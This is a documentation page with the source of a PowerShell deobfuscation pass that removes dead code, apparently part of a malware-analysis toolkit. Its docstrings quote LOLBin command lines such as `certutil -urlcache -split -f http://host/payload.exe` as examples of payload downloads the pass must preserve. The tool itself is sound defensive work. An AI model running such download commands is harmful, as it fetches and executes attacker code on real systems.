Module refinery.lib.scripts.ps1.deobfuscation.deadcode

Eliminate dead code from PowerShell scripts after constant folding.

Expand source code Browse git
"""
Eliminate dead code from PowerShell scripts after constant folding.
"""
from __future__ import annotations

from refinery.lib.scripts import (
    Block,
    Expression,
    Node,
    Statement,
    Transformer,
    reattach,
)
from refinery.lib.scripts.analysis.dominance import DominatorModel
from refinery.lib.scripts.ps1.analysis.cache import Ps1ModelCache, model_cache
from refinery.lib.scripts.ps1.analysis.handlers import swallows_every_error
from refinery.lib.scripts.ps1.analysis.effects import (
    OutputSink,
    is_fault_free,
    is_side_effect_free,
    output_sink,
)
from refinery.lib.scripts.ps1.analysis.values import (
    integer_of,
    is_truthy,
    read,
    statement_certainly_throws,
)
from refinery.lib.scripts.ps1.ast import (
    get_body,
    get_command_name,
    is_builtin_variable,
    unwrap_parens,
)
from refinery.lib.scripts.ps1.data import COMPARISON_OPS, KNOWN_CMDLETS
from refinery.lib.scripts.ps1.deobfuscation.helpers import (
    is_pipeline_item,
    store_dropped_to_value,
    switch_matches,
)
from refinery.lib.scripts.ps1.deobfuscation.removal import Ps1RemovalPlans
from refinery.lib.scripts.ps1.model import (
    Ps1AssignmentExpression,
    Ps1BinaryExpression,
    Ps1BreakStatement,
    Ps1CatchClause,
    Ps1ClassDefinition,
    Ps1CommandArgument,
    Ps1CommandInvocation,
    Ps1ContinueStatement,
    Ps1DoLoop,
    Ps1EnumDefinition,
    Ps1ExpressionStatement,
    Ps1ForLoop,
    Ps1IfStatement,
    Ps1IntegerLiteral,
    Ps1RealLiteral,
    Ps1ScopeModifier,
    Ps1ScriptBlock,
    Ps1StringLiteral,
    Ps1SwitchStatement,
    Ps1ThrowStatement,
    Ps1TrapStatement,
    Ps1TryCatchFinally,
    Ps1UnaryExpression,
    Ps1Variable,
    Ps1WhileLoop,
)

_PATH_EXTENSIONS = frozenset({'.exe', '.ps1', '.cmd', '.bat', '.com', '.vbs', '.msi'})


def _carries_assignment_marker(cmd: Ps1CommandInvocation, name: str) -> bool:
    """
    Whether `cmd` is the syntactic residue of an assignment the obfuscator emitted where a command
    was expected. Both spellings have to be recognized because the lexer splits them differently:
    `foo =5` becomes a name and one `=`-prefixed argument, while `0042DsKaho=8602057` stays a single
    bareword name, the digit-leading form being the one an obfuscator emits most.

    The split spelling is recognized only when the residue is *everything* the invocation carries:
    one argument, written without quotes, reached without a call operator. Each of those is a thing
    an assignment cannot produce and a command line can — `certutil -urlcache -split -f
    =http://host/payload.exe` carries three more tokens, `certutil '=http://host/payload.exe'`
    quotes the one it has, and `& msiexec =foo` is in command position by an operator that is legal
    nowhere else — and matching any of them erases the very `try { <LOLBin> } catch { }` shape this
    predicate was rewritten to stop erasing.
    """
    if '=' in name:
        return True
    if cmd.invocation_operator or len(cmd.arguments) != 1:
        return False
    argument = cmd.arguments[0]
    value = argument.value if isinstance(argument, Ps1CommandArgument) else argument
    return (
        isinstance(value, Ps1StringLiteral)
        and value.raw == value.value
        and value.value.startswith('=')
    )


def _is_injected_noise_bareword(expr: Expression, cache: Ps1ModelCache) -> bool:
    """
    Return `True` when `expr` is a bareword command carrying an assignment marker and no argument
    that does anything — the shape an obfuscator injects to pad a script, which the passes below
    delete along with the `try` wrapped around it.

    This is a guess about an artifact, not a proof about the command. An `=` does not establish that
    the name resolves to nothing, and a native binary invoked this way is still dropped, so the
    marker is the entire basis and nothing here may widen past it. Metadata absence cannot be the
    basis instead: every common LOLBin is missing from the host-collected table, so reading absence
    as non-existence would erase `try { certutil -urlcache -split -f http://host/p.exe } catch { }`.

    The whole guess rests on the command table being the one the metadata describes, so it is only
    made where the name is trustworthy at this very statement:
    `refinery.lib.scripts.ps1.analysis.worldflow.Ps1WorldReach.may_trust_command_name_at` below. A
    script that dot-sources a file, imports a module, defines an alias or runs `iex` can make any
    bareword resolve to real code. Asking it at the position and not over the whole run is what lets
    the guess reach an obfuscated script at all: a script that rebinds anything anywhere refuses the
    whole-run question everywhere, and an obfuscated script always rebinds something, so the padding
    standing above its first opener is precisely the population the whole-run gate could never answer
    for. The known misses this positional guess still makes are pinned in
    `test.lib.scripts.ps1.deobfuscation.test_removal_observability`.

    What is left between a leaking script and a deleted `certutil` is the `=` marker alone. No native
    invocation is spelled `<name> =<one token>`, and that is the whole of the defence, which is why
    `_carries_assignment_marker` is written as narrowly as it is.

    The name is rejected for a path separator, a program extension and a leading `.` or `~` before
    the trust query rather than after it, because those spellings are not ones that query answers
    about: `refinery.lib.scripts.ps1.ast.normalize_command_name`, which keys the shadow set, strips
    a scope qualifier and not a module one, so a module-qualified spelling is looked up under a key
    no `function` statement ever writes and would be granted on a name the script does redefine.

    The drop is also refused wherever the script can read the record the raise leaves behind, which
    is `Ps1CommandModel.reads_the_error_record`. A caught terminating error still fills `$Error`,
    sets `$?` and writes `$StackTrace`, so deleting the statement that raised is visible to a script
    that reads any of the three even though the handler swallowed the error itself. The exposure is
    not this recognizer's alone — every statement remover in this package shares it — and the general
    answer belongs beside removal rather than here.
    """
    if not isinstance(expr, Ps1CommandInvocation):
        return False
    name = get_command_name(expr)
    if name is None:
        return False
    name_lower = name.lower()
    if not _carries_assignment_marker(expr, name):
        return False
    if name_lower in KNOWN_CMDLETS:
        return False
    if any(sep in name for sep in ('\\', '/', ':')):
        return False
    if any(name_lower.endswith(ext) for ext in _PATH_EXTENSIONS):
        return False
    if name.startswith('.') or name.startswith('~'):
        return False
    if cache.commands.reads_the_error_record():
        return False
    world = cache.world_reach
    if not world.may_trust_command_name_at(name_lower, expr):
        return False
    for arg in expr.arguments:
        value = arg.value if isinstance(arg, Ps1CommandArgument) else arg
        if value is not None and not is_side_effect_free(value, world):
            return False
    return True


def _hoisted_initializer(expr: Expression) -> Ps1ExpressionStatement:
    """
    The statement a `for` initializer becomes once its loop is pruned away.

    PowerShell evaluates the initializer in a void context, so its value reaches nobody:
    `for (5; $False; ) { }` and `for ((Get-Date); $False; ) { }` both put nothing on the output,
    where the bare statements `5` and `(Get-Date)` put a value there. Hoisting one plainly would
    therefore make the deobfuscated script print what the original never printed.

    An assignment already swallows its own value and is hoisted as written. Everything else is
    wrapped, and the wrapper is `StatementEffect.DISCARD`, so a later pass drops it when the work
    inside is pure and keeps it when it is not.
    """
    if isinstance(expr, Ps1AssignmentExpression):
        return Ps1ExpressionStatement(expression=expr)
    return store_dropped_to_value(expr)


def _try_body_survivors(
    node: Ps1TryCatchFinally,
    cache: Ps1ModelCache,
) -> list[Statement] | None:
    """
    What the try body of `node` leaves behind once its construct is dissolved, or `None` when it
    cannot be.

    A statement survives dissolution only if it means the same thing outside the construct as
    inside it, which asks two questions of it and not one. It must not raise, or the empty `catch`
    that was swallowing the error is gone and the throw reaches the caller. And it must keep its
    output, so a statement that can emit is carried over rather than dropped. `is_fault_free`
    answers both at once: what it accepts cannot raise and is carried, and a body holding anything
    else keeps its construct.

    The one exception is a bareword `_is_injected_noise_bareword` recognizes as obfuscator padding,
    which is dropped rather than carried. That is a heuristic and it is the reason this returns a
    body that is *believed* inert rather than one proven so; a bareword the script redefines runs
    that definition and is never such a guess, which is one of the facts the models carry.

    The drop is a claim that the statement *raised*, and two things follow from the claim that the
    carry does not need. The raise has to be confined to this construct, which is
    `swallows_every_error` and not the empty-body test the caller makes: a clause whose type filter
    misses has an empty body and takes nothing, and a construct carrying no `catch` at all takes
    nothing either. And a raise abandons the rest of its block, so nothing below a dropped statement
    may be carried out — a statement written above one is reached before the raise and is carried as
    it always was. A second padding bareword below the first is dropped rather than carried, and
    rests on the first having raised.
    """
    body = node.try_block.body if node.try_block is not None else []
    confined = swallows_every_error(node)
    survivors: list[Statement] = []
    dropped = False
    for stmt in body:
        if not isinstance(stmt, Ps1ExpressionStatement):
            return None
        if stmt.expression is None:
            continue
        if is_fault_free(stmt.expression):
            if dropped:
                return None
            survivors.append(stmt)
            continue
        if confined and _is_injected_noise_bareword(stmt.expression, cache):
            dropped = True
            continue
        return None
    return survivors


def _evaluate_for_condition(node: Ps1ForLoop) -> bool | None:
    """
    Try to evaluate a for-loop condition at loop entry by substituting the initial value of the
    loop variable into the comparison. Returns the boolean result, or `None` if the pattern does not
    match.
    """
    init = node.initializer
    cond = node.condition
    if not isinstance(init, Ps1AssignmentExpression) or init.operator != '=':
        return None
    if not isinstance(init.target, Ps1Variable):
        return None
    init_val = integer_of(read(init.value))
    if init_val is None:
        return None
    if not isinstance(cond, Ps1BinaryExpression):
        return None
    op_fn = COMPARISON_OPS.get(cond.operator.lower())
    if op_fn is None:
        return None
    var_name = init.target.name.lower()
    var_scope = init.target.scope
    left_val = _resolve_side(cond.left, var_name, var_scope, init_val)
    right_val = _resolve_side(cond.right, var_name, var_scope, init_val)
    if left_val is None or right_val is None:
        return None
    return bool(op_fn(left_val, right_val))


def _resolve_side(
    node, var_name: str, var_scope: Ps1ScopeModifier, init_val: int,
) -> int | None:
    """
    Resolve one side of a for-loop condition to an integer: if the node is the loop variable,
    return the initial value; if it is a constant integer, return that; otherwise return `None`.
    """
    node = unwrap_parens(node) if isinstance(node, Expression) else node
    if (
        isinstance(node, Ps1Variable)
        and node.name.lower() == var_name
        and node.scope == var_scope
    ):
        return init_val
    return integer_of(read(node))


def _make_int_literal(value: int) -> Ps1IntegerLiteral:
    return Ps1IntegerLiteral(raw=str(value))


def _is_counter_variable(node, var_name: str, var_scope: Ps1ScopeModifier) -> bool:
    node = unwrap_parens(node) if isinstance(node, Expression) else node
    return (
        isinstance(node, Ps1Variable)
        and node.name.lower() == var_name
        and node.scope == var_scope
    )


def _counter_delta(iterator, var_name: str, var_scope: Ps1ScopeModifier) -> int | None:
    """
    Return the constant per-iteration change a for-loop iterator applies to the loop variable, or
    `None` when the iterator is not a nonzero constant step on that single variable (`$i++`, `$i--`,
    `$i += k`, `$i -= k`).
    """
    if isinstance(iterator, Ps1UnaryExpression) and iterator.operator in ('++', '--'):
        if _is_counter_variable(iterator.operand, var_name, var_scope):
            return 1 if iterator.operator == '++' else -1
        return None
    if isinstance(iterator, Ps1AssignmentExpression) and iterator.operator in ('+=', '-='):
        if not _is_counter_variable(iterator.target, var_name, var_scope):
            return None
        step = integer_of(read(iterator.value))
        if step is None:
            return None
        delta = step if iterator.operator == '+=' else -step
        return delta or None
    return None


def _counter_condition(cond, var_name: str, var_scope: Ps1ScopeModifier):
    """
    Return `(predicate, bound)` where `predicate` maps an integer loop-variable value to the truth
    of the for-loop condition and `bound` is the constant it is compared against, or `None` when the
    condition is not a comparison between the loop variable and a constant integer (`$i <cmp> C` or
    `C <cmp> $i`). The bound lets the caller size a simulation cap to the loop's real trip count.
    """
    if not isinstance(cond, Ps1BinaryExpression):
        return None
    op_fn = COMPARISON_OPS.get(cond.operator.lower())
    if op_fn is None:
        return None
    left_int = integer_of(read(cond.left))
    right_int = integer_of(read(cond.right))
    if _is_counter_variable(cond.left, var_name, var_scope) and right_int is not None:
        bound = right_int
        return (lambda value: bool(op_fn(value, bound))), bound
    if _is_counter_variable(cond.right, var_name, var_scope) and left_int is not None:
        bound = left_int
        return (lambda value: bool(op_fn(bound, value))), bound
    return None


def _simulate_empty_for_terminal(node: Ps1ForLoop) -> tuple[Ps1Variable, int] | None:
    """
    For an empty-bodied `for` loop driven by a single integer counter, return `(variable, terminal)`
    giving the value the counter holds once the loop exits, or `None` when the loop is not a
    provably-terminating linear counter (non-constant initializer/bound, `for (;;)`, a
    non-constant-step iterator, or a condition that never turns false). The counter is stepped
    exactly as PowerShell evaluates the loop — check the condition, then apply the iterator — so the
    terminal value is exact, including the zero-iteration case where the counter keeps its initial
    value.
    """
    init = node.initializer
    if not isinstance(init, Ps1AssignmentExpression) or init.operator != '=':
        return None
    if not isinstance(init.target, Ps1Variable):
        return None
    init_int = integer_of(read(init.value))
    if init_int is None:
        return None
    variable = init.target
    var_name = variable.name.lower()
    var_scope = variable.scope
    delta = _counter_delta(node.iterator, var_name, var_scope)
    if delta is None:
        return None
    condition = _counter_condition(node.condition, var_name, var_scope)
    if condition is None:
        return None
    predicate, bound = condition
    # A terminating linear counter reaches the bound within `distance / |step|` iterations; a couple
    # extra guard against off-by-one and the exact-hit (`-ne`/`-eq`) cases. Exceeding this proves
    # the condition never turns false (a wrong-direction step), so the loop is infinite and left
    # intact. The absolute cap prevents pathological samples (e.g. bound = 2 billion) from hanging
    # the pass.
    cap = min(abs(bound - init_int) // abs(delta) + 2, 100_000)
    value = init_int
    iterations = 0
    while predicate(value):
        value += delta
        iterations += 1
        if iterations > cap:
            return None
    return variable, value


def _body_running_once(body: list[Statement], dominance: DominatorModel) -> list[Statement] | None:
    """
    The statements one run of a loop body comes to when the body never starts a second run, or
    `None` when it may. Control must not run off the end of the body: its last statement is an
    unlabeled `break`, which is dropped, or one the control-flow graph says never completes, such
    as a `return` (`refinery.lib.scripts.analysis.dominance.DominatorModel.completes`). And no other
    `break` or `continue` may stand in it at any depth, since one could start another run or, once
    the body stands outside the loop, leave a different one.

    The graph is asked rather than the trailing `break` alone because the statements that never run
    are deleted too, a `break` behind a `return` among them, and a loop that waited for its `break`
    would then stay whenever that deletion landed first.
    """
    if not body:
        return None
    *rest, last = body
    if isinstance(last, Ps1BreakStatement) and last.label is None:
        once = rest
    elif not dominance.completes(last):
        once = body
    else:
        return None
    for stmt in once:
        for node in stmt.walk():
            if isinstance(node, (Ps1BreakStatement, Ps1ContinueStatement)):
                return None
    return list(once)


_NO_LITERAL = object()


def _switch_literal(node):
    """
    Extract the constant `int`/`str`/`bool` value a switch value or clause condition compares with,
    or `_NO_LITERAL` when it is not a compile-time constant.
    """
    node = unwrap_parens(node)
    if isinstance(node, (Ps1IntegerLiteral, Ps1RealLiteral, Ps1StringLiteral)):
        return node.value
    if is_builtin_variable(node, {'true'}):
        return True
    if is_builtin_variable(node, {'false'}):
        return False
    return _NO_LITERAL


def _switch_clause_body(body: list[Statement]) -> tuple[list[Statement], bool] | None:
    """
    Return the statements of a matched switch clause together with a flag indicating whether the
    clause terminates the switch (a trailing `break`). Returns `None` when the body contains a
    top-level `break`/`continue` that is not a single trailing `break`, since inlining it would
    retarget the jump to an enclosing loop.
    """
    stmts = list(body)
    stop = False
    if stmts and isinstance(stmts[-1], Ps1BreakStatement):
        stmts = stmts[:-1]
        stop = True
    for stmt in stmts:
        if isinstance(stmt, (Ps1BreakStatement, Ps1ContinueStatement)):
            return None
    return stmts, stop


def _type_definition_ids(node: Node) -> set[int]:
    """
    The ids of every `class` and `enum` definition standing anywhere under `node`. PowerShell
    registers these when it compiles the script, before the first statement runs, so their effect
    does not depend on the control flow that reaches them.
    """
    return {
        id(definition)
        for definition in node.walk()
        if isinstance(definition, (Ps1ClassDefinition, Ps1EnumDefinition))
    }


def _drops_a_type_definition(stmt: Statement, replacement: list[Statement]) -> bool:
    """
    Whether pruning `stmt` to `replacement` would delete a `class` or `enum` definition that the
    replacement does not carry forward. A prune reuses the node objects it keeps, so a definition
    surviving in a taken branch appears by identity in both; one only in a dropped region does not,
    and deleting it would unregister a type the compiled script still defines.
    """
    dropped = _type_definition_ids(stmt)
    if not dropped:
        return False
    for kept in replacement:
        dropped -= _type_definition_ids(kept)
    return bool(dropped)


class Ps1DeadCodeElimination(Transformer):
    """
    Remove unreachable code guarded by constant boolean conditions and resolve switch statements
    on constant values.
    """

    self_converging = True

    def visit(self, node: Node):
        """
        Prune until a batch lands nothing, so that after one visit no rule of this pass applies
        anywhere in the tree. The junk pass decides what is bare-output noise right after this one
        and is sound only on such a tree:
        `refinery.lib.scripts.ps1.deobfuscation.unused.Ps1JunkStatementRemoval`. Each batch judges
        every body against one build of the models and lands its edits together, so the models are
        rebuilt once per batch rather than once per body that changed.
        """
        while self._prune(node):
            self.mark_changed()

    def _prune(self, node: Node) -> bool:
        """
        Propose the prunes of every body that no statement proposed here encloses, land them as one
        batch, and report whether the tree moved. A statement its own body's plan lets through is
        being rewritten, so what is inside it is judged by the next batch, against the tree that
        rewrite leaves.
        """
        cache = model_cache(self, node)
        plans = Ps1RemovalPlans(
            handlers=cache.handlers,
            under_the_world=False,
            error_state=cache.error_state,
            removals_may_fault=False,
        )
        pending: list[Node] = [node]
        while pending:
            parent = pending.pop()
            sink = output_sink(parent)
            if sink is None or sink is OutputSink.CAPTURED:
                pending.extend(parent.children())
                continue
            self._prune_body(parent, cache, plans)
            settled = {id(statement) for statement in plans.allowed_in(parent)}
            pending.extend(child for child in parent.children() if id(child) not in settled)
        return plans.commit()

    def _prune_body(
        self,
        parent: Node,
        cache: Ps1ModelCache,
        plans: Ps1RemovalPlans,
    ) -> None:
        """
        Propose rewriting each statement of one body into what its condition has already been
        proved to make of it.

        Deleting a write to the output stream is not this pass's to make: reading a body's value as
        unobserved is not something position can say — only
        `refinery.lib.scripts.ps1.analysis.effects.Ps1OutputFlow` can, by resolving the destination
        across the call graph — so it is a decision
        `refinery.lib.scripts.ps1.deobfuscation.unused.Ps1JunkStatementRemoval` owns alone.

        What is left removes only constructs whose condition is already proved constant, plus
        statements the control-flow graph reports no path can reach — a statement after `return`,
        `throw` or `exit`, which never runs and so cannot be what an enclosing handler catches
        (`_never_runs`). Its removal cannot empty a body that pruning was not already entitled to
        empty, because a body's entry is always reachable. A `trap` is not asked: its handler is
        reached only through the exceptional edges of the body it guards, so an unreachable handler
        means nothing threw, not that the declaration is dead, and `_prune_trap` owns that decision.
        A prune that would drop a `class` or `enum` definition standing in the deleted region is
        refused whole, because the engine registers those when it compiles the script — before any
        statement runs — so one inside a branch that never executes still defines its type, and
        deleting it changes what the surviving script resolves that name to.
        """
        dominance = cache.dominance
        # A handler body — a `trap`, a `catch`, or a `finally` — runs on a path this deletion does
        # not walk: a `trap` or `catch` only when the code it guards throws, so from normal flow it
        # reads as unreachable exactly when nothing threw, which is not the same as its statements
        # being dead. Emptying one here would strip a payload `_prune_trap` and `_prune_try` weigh as
        # a whole, and an empty guarded body is evidence about an earlier pass rather than about the
        # code, so the unreachability deletion stays out of every handler body.
        deletes_unreachable = not self._within_handler_body(parent)
        if (body := get_body(parent)) is None:
            return
        for index, stmt in enumerate(body):
            if (
                deletes_unreachable
                and not isinstance(stmt, Ps1TrapStatement)
                and self._never_runs(stmt, body[index - 1] if index else None, dominance)
            ):
                replacement: list[Statement] = []
            else:
                pruned = self._try_prune(stmt, cache)
                if pruned is None:
                    continue
                replacement = pruned
            if _drops_a_type_definition(stmt, replacement):
                reattach(stmt)
                continue
            plans.propose_in(parent, stmt, replacement)

    @staticmethod
    def _within_handler_body(node: Node) -> bool:
        """
        Whether `node` is a body nested inside a `trap`, a `catch`, or a `finally`, up to the nearest
        control-flow-graph boundary. A statement in a `trap` or `catch` is reached only by the
        guarded code throwing, so its normal-flow unreachability says nothing about whether it is
        dead; a `finally` always runs and so is never wrongly deleted, but it is excluded with the
        others so that the whole handler decision stays with the construct-specific passes.
        """
        current = node
        while current is not None and not isinstance(current, Ps1ScriptBlock):
            parent = current.parent
            if isinstance(parent, (Ps1TrapStatement, Ps1CatchClause)):
                return True
            if isinstance(parent, Ps1TryCatchFinally) and parent.finally_block is current:
                return True
            current = parent
        return False

    @staticmethod
    def _never_runs(
        stmt: Statement,
        previous: Statement | None,
        dominance: DominatorModel,
    ) -> bool:
        """
        Whether no run reaches `stmt`, the statement after `previous` in its body. The graph says so
        when no node of the statement is reached
        (`refinery.lib.scripts.analysis.dominance.DominatorModel.never_runs`), which settles it for
        a statement the graph keys a node to. A `try` is keyed none, and one whose body runs nothing
        on the normal path, such as `try {} catch { <payload> }`, is entered without reaching any
        node of it; it never runs only where `previous` never completes. At the start of a body
        nothing here says whether the body is entered, so such a statement stays there.
        """
        if not dominance.never_runs(stmt):
            return False
        located = dominance.locate(stmt)
        if located is not None and located[1].element is stmt:
            return True
        return previous is not None and not dominance.completes(previous)

    def _try_prune(self, stmt: Statement, cache: Ps1ModelCache) -> list[Statement] | None:
        if isinstance(stmt, Ps1WhileLoop):
            return self._prune_while(stmt, cache.dominance)
        if isinstance(stmt, Ps1DoLoop):
            return self._prune_do_loop(stmt, cache.dominance)
        if isinstance(stmt, Ps1ForLoop):
            return self._prune_for(stmt, cache.dominance)
        if isinstance(stmt, Ps1IfStatement):
            return self._prune_if(stmt)
        if isinstance(stmt, Ps1SwitchStatement):
            return self._prune_switch(stmt)
        if isinstance(stmt, Ps1TryCatchFinally):
            return self._prune_try(stmt, cache)
        if isinstance(stmt, Ps1TrapStatement):
            return self._prune_trap(stmt, cache)
        return None

    @staticmethod
    def _prune_while(node: Ps1WhileLoop, dominance: DominatorModel) -> list[Statement] | None:
        truth = is_truthy(node.condition)
        if truth is False:
            return []
        if node.body is None or (body := _body_running_once(node.body.body, dominance)) is None:
            return None
        if truth is True or node.condition is None:
            return body
        return [Ps1IfStatement(clauses=[(node.condition, Block(body=body))])]

    @staticmethod
    def _prune_do_loop(node: Ps1DoLoop, dominance: DominatorModel) -> list[Statement] | None:
        if node.body is not None:
            body = node.body.body
            if (once := _body_running_once(body, dominance)) is not None:
                return once
            trivially_exits = (
                is_truthy(node.condition) is True if node.is_until
                else is_truthy(node.condition) is False
            )
            if trivially_exits:
                for stmt in body:
                    for child in stmt.walk():
                        if isinstance(child, (Ps1BreakStatement, Ps1ContinueStatement)):
                            return None
                return list(body)
        return None

    @staticmethod
    def _prune_for(node: Ps1ForLoop, dominance: DominatorModel) -> list[Statement] | None:
        truth = _evaluate_for_condition(node)
        if truth is None:
            truth = is_truthy(node.condition)
        if truth is False:
            result: list[Statement] = []
            if node.initializer is not None:
                result.append(_hoisted_initializer(node.initializer))
            return result
        body = None if node.body is None else _body_running_once(node.body.body, dominance)
        if body is not None:
            result = []
            if node.initializer is not None:
                result.append(_hoisted_initializer(node.initializer))
            if truth is True or node.condition is None:
                result.extend(body)
            else:
                result.append(Ps1IfStatement(clauses=[(node.condition, Block(body=body))]))
            return result
        if node.body is None or not node.body.body:
            terminal = _simulate_empty_for_terminal(node)
            if terminal is not None:
                variable, value = terminal
                target = Ps1Variable(name=variable.name, scope=variable.scope)
                assignment = Ps1AssignmentExpression(
                    target=target, operator='=', value=_make_int_literal(value))
                return [Ps1ExpressionStatement(expression=assignment)]
        return None

    @staticmethod
    def _prune_if(node: Ps1IfStatement) -> list[Statement] | None:
        kept_clauses: list[tuple] = []
        for index, (condition, block) in enumerate(node.clauses):
            truth = is_truthy(condition)
            if truth is True:
                return list(block.body)
            if truth is False:
                continue
            kept_clauses.append((condition, block))
            kept_clauses.extend(node.clauses[index + 1:])
            break
        else:
            if node.else_block is not None:
                return list(node.else_block.body)
            return []
        if len(kept_clauses) == len(node.clauses):
            return None
        # A new statement rather than a clause list spliced into this one: a pass proposes an edit
        # and does not perform it, so the proposal has to be something the vetoes can compare
        # against the original. Dropping the clauses in place makes the two the same object, and a
        # payload under the `if ($false)` arm of a chain would read as having survived it.
        return [Ps1IfStatement(clauses=kept_clauses, else_block=node.else_block)]

    @staticmethod
    def _prune_switch(node: Ps1SwitchStatement) -> list[Statement] | None:
        if node.regex or node.wildcard or node.file:
            return None
        value = _switch_literal(node.value)
        if value is _NO_LITERAL:
            return None
        default_body: list[Statement] | None = None
        result: list[Statement] = []
        matched = False
        for condition, block in node.clauses:
            if condition is None:
                default_body = block.body
                continue
            cond_val = _switch_literal(condition)
            if cond_val is _NO_LITERAL:
                # A non-constant clause condition might match at runtime; cannot resolve statically.
                return None
            if switch_matches(value, cond_val, case_sensitive=node.case_sensitive):
                body = _switch_clause_body(block.body)
                if body is None:
                    return None
                stmts, stop = body
                result.extend(stmts)
                matched = True
                if stop:
                    return result
        if matched:
            return result
        if default_body is not None:
            body = _switch_clause_body(default_body)
            if body is None:
                return None
            return body[0]
        return []

    def _prune_try(self, node: Ps1TryCatchFinally, cache: Ps1ModelCache) -> list[Statement] | None:
        """
        Resolve a `try`/`catch`/`finally` into the code that certainly runs in its place, by one of
        two disjoint routes.

        The first is the certain-throw fold, `_collapse_through_certain_throw`: a body proven to
        throw runs its fault-free prefix, then the handler that takes the throw, then the `finally`,
        and everything after the throw is dead. The second is the no-throw dissolution below: a body
        that cannot throw at all is the same statements outside the construct as inside it, followed
        by the `finally` that always runs. The two never both apply — one needs a proven throw and
        the other a proven absence of one — so the order between them is free.

        The dissolution requires every `catch` clause to be empty, because a handler with a body is
        live code whose reachability it cannot decide; the fold lifts exactly such a body, but only
        where the throw that reaches it is proven. An empty or absent try body needs no separate
        case because `_try_body_survivors` accepts it vacuously, and emptiness is no license to drop
        a `catch`: it is rarely how the source was written, it is what an earlier pass left behind,
        so it is evidence about that pass and not about whether the original body could throw.

        What an empty `catch` licenses for the dissolution is narrower than it looks. It licenses
        *deleting* a statement that raises, since the error was being swallowed either way. It does
        not license moving one out, and every statement here is moved, not deleted — so the gate is
        fault-freedom rather than purity, and a body whose statements merely look harmless keeps its
        construct.
        """
        folded = self._collapse_through_certain_throw(node, cache)
        if folded is not None:
            return folded
        for clause in node.catch_clauses:
            if clause.body is not None and clause.body.body:
                return None
        survivors = _try_body_survivors(node, cache)
        if survivors is None:
            return None
        finally_body = node.finally_block.body if node.finally_block is not None else []
        return survivors + list(finally_body)

    def _collapse_through_certain_throw(
        self, node: Ps1TryCatchFinally, cache: Ps1ModelCache,
    ) -> list[Statement] | None:
        """
        Fold a `try` body certain to throw into the statements certain to run: the fault-free prefix
        that precedes the throw, then the body of the `catch` that takes it, then the `finally`.
        Everything after the throw in the `try` body is dead — a terminating error abandons the rest
        of the block — and is dropped.

        Every part of that is proven rather than guessed.
        `refinery.lib.scripts.ps1.analysis.values.statement_certainly_throws` fires only where the
        value domain computes a throw 5.1 also takes, so a body the analysis cannot decide
        is left whole for the discard remover to keep (`deletion_is_observable`). The statements
        before the throw must be provably fault-free, so control is certain to reach it. The landing
        handler must be certain: every error the throw may raise lands in that one `catch` with
        nothing on the way, which a narrow `catch` written first and a `trap` written in the body,
        hoisted over the whole block, both deny. And the body must mean the same lifted: every error
        a point of it may raise has to end up where it does inside the `catch`, which a failing line
        anywhere but at the end of the body denies, and so does one in a block of the body that 5.1
        would report and carry on in once the `catch` no longer passes errors outward. Both are read
        off `refinery.lib.scripts.ps1.analysis.dispatch`.

        A `throw` that is dropped rather than lifted must lose nothing but the raise. A value-domain
        certain throw is computed over constants and evaluates nothing observable, but a `throw`
        evaluates its argument — an assignment, a command, a write to the host — before the error
        the lift stands in for, so a `throw` whose argument is not side-effect-free keeps its
        construct rather than have that effect dropped with the raise.

        Three things a lifted `catch` body could observe are refused rather than reasoned about. A
        read of the error record anywhere in the script (`$Error`, `$?`, `$StackTrace`) is refused,
        because the fold removes the raise that would fill it. A body naming `$_` or `$PSItem` is
        refused, because those hold the current error only inside the `catch`. And a non-empty
        `catch` body beside a non-empty `finally` is left alone, because a handler that does not
        complete normally runs its `finally` before it leaves, which the flat sequence would not.
        """
        body = node.try_block.body if node.try_block is not None else []
        prefix: list[Statement] = []
        raiser: Statement | None = None
        for stmt in body:
            if statement_certainly_throws(stmt):
                raiser = stmt
                break
            if not isinstance(stmt, Ps1ExpressionStatement):
                return None
            if stmt.expression is not None and not is_fault_free(stmt.expression):
                return None
            prefix.append(stmt)
        if raiser is None:
            return None
        if isinstance(raiser, Ps1ThrowStatement) and raiser.pipeline is not None:
            if not is_side_effect_free(raiser.pipeline, cache.world_reach):
                return None
        handler = cache.handlers.certain_handler(raiser)
        if handler is None or handler.parent is not node:
            return None
        if cache.commands.reads_the_error_record():
            return None
        handler_body = handler.body.body if handler.body is not None else []
        if any(is_pipeline_item(element) for stmt in handler_body for element in stmt.walk()):
            return None
        finally_body = node.finally_block.body if node.finally_block is not None else []
        if handler_body and finally_body:
            return None
        if not cache.handlers.lifts_unchanged(handler):
            return None
        return prefix + list(handler_body) + list(finally_body)

    @staticmethod
    def _prune_trap(node: Ps1TrapStatement, cache: Ps1ModelCache) -> list[Statement] | None:
        """
        Remove a `trap` handler whose body produces no observable output and whose scope cannot
        throw a terminating error the trap would intercept. A trap only runs when the code it guards
        throws; injected-noise traps (`trap { continue }`, an empty `trap {}`, `trap { break }`)
        merely swallow or re-raise without emitting anything, so deleting them is invisible — but
        only where nothing they guard actually throws. A body that performs a side effect — a real
        logging handler such as `trap { Write-Host 'err' }` — keeps the trap intact.

        Whether anything the trap guards still raises is not asked here at all. It is the question
        `refinery.lib.scripts.ps1.analysis.faults.Ps1FaultReach.removing_traps_is_observed`
        answers, and it is asked of every proposal this pass files, over the exceptional edges the
        graph wired rather than over a search for the `throw` keyword — which would miss

            trap { continue }; Get-Item nope -ErrorAction Stop

        whose error ends the script exactly as a `throw` does.

        The gate that is left is purity, not emission: the removal is not provable under strict
        semantics at all, and under the premise that the guarded code does not throw, a body that
        merely emits never runs either, so `trap { 5 }` and `trap { Get-Date }` are dropped alike.
        Only a body whose statements would do something observable is worth keeping the trap for.
        """
        body = node.body.body if node.body is not None else []
        for stmt in body:
            if isinstance(stmt, (Ps1BreakStatement, Ps1ContinueStatement)):
                if stmt.label is not None:
                    return None
                continue
            if isinstance(stmt, Ps1ExpressionStatement):
                if stmt.expression is None or is_side_effect_free(
                    stmt.expression, cache.world_reach
                ):
                    continue
            return None
        return []

Classes

class Ps1DeadCodeElimination

Remove unreachable code guarded by constant boolean conditions and resolve switch statements on constant values.

Expand source code Browse git
class Ps1DeadCodeElimination(Transformer):
    """
    Remove unreachable code guarded by constant boolean conditions and resolve switch statements
    on constant values.
    """

    self_converging = True

    def visit(self, node: Node):
        """
        Prune until a batch lands nothing, so that after one visit no rule of this pass applies
        anywhere in the tree. The junk pass decides what is bare-output noise right after this one
        and is sound only on such a tree:
        `refinery.lib.scripts.ps1.deobfuscation.unused.Ps1JunkStatementRemoval`. Each batch judges
        every body against one build of the models and lands its edits together, so the models are
        rebuilt once per batch rather than once per body that changed.
